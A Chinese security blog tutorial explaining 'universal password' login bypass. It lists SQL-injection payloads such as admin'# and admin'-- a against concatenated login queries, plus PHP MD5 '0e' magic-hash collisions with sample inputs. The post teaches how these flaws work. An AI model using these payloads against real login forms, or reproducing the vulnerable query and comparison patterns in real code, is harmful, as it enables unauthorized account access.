「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「推荐专栏」:对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》
【万能密码】,顾名思义,就是可以 【登录任意网站】的账号和密码,这篇文章就跟大家探讨一下,万能密码究竟是如何实现登录的。
首先了解一下登录功能的逻辑。
我们平时登录账号时,如果是第一次登录,系统会提示我们注册账号,并将我们注册的账号和密码保存到数据库中。
当我们再次登录时,系统会将我们输入的账号和密码和数据库中的数据进行匹配,匹配成功能登录。这就意味着我们需要知道一个已经注册过并且正确的账号和密码才能进行登录。
那如果我不小心忘记了我的账号或者密码,或者我压根就不知道账号和密码,还有没有办法登录呢?答案是肯定的。
比如一个登录功能,后台的SQL语句基本都是下面这个样子
select * from user where username='user' and password='pass'
假如用户名是admin,我们就给用户名填上 admin '#,密码随便输入,比如123456,后台接收参数,拼接到SQL中会变成这样:
select * from user where username='admin'#' and password='123456'
由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样
select * from user where username='admin'
SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功。
也就是说万能密码并不是一个真正意义上的密码,而是一种拥有不同变体的格式。
由于参数可以用双引号包裹、单引号包裹、甚至不包裹,万能密码可以有三种形式:
- 数值型:
admin #
- 单引号字符串型:
admin'#
- 双引号字符串型:
admin"#
这实际上是利用了注释 #
的特性,由于--
也是SQL的注释,万能密码又多了三种形式:
- 数值型:
admin-- a
- 单引号字符串型:
admin'-- a
- 双引号字符串型:
admin"-- a
细心的同学可能注意到,--
后面还有一个空格,这个空格是必须要有的,因为SQL的语法格式规定--
和后面的注释内容必须间隔一个空格。
一些比较聪明的程序员,会在数据库中存储用户密码的MD5值,登录时先将密码MD5加密,再查数据库。
但这样也会存在问题,比如:
echo md5('240610708').PHP_EOL;
echo md5('s155964671a').PHP_EOL;
var_dump(md5('240610708') == md5('s155964671a'));
输出:
0e462097431906509019562988736854
0e342768416822451524974117254469
bool(true)
这是因为0e开头是科学计数法的格式,也就是 0 乘以n的n次幂,你别管后面的n是几,和0相乘肯定都是0。即0e开头的值,运算结果都是0。
这就意味着,如果一个会员账户密码是 240610708 ,那么输入 s155964671a 也能登录成功。
类似的值还有:
QNKCDZO => 0e830400451993494058024219903391
240610708 => 0e462097431906509019562988736854
s878926199a => 0e545993274517709034328855841020
s155964671a => 0e342768416822451524974117254469
s214587387a => 0e848240448830537924465865611904
s214587387a => 0e848240448830537924465865611904
这里就简单列举这几种形式,如果你还知道其他形式,欢迎在评论区留言。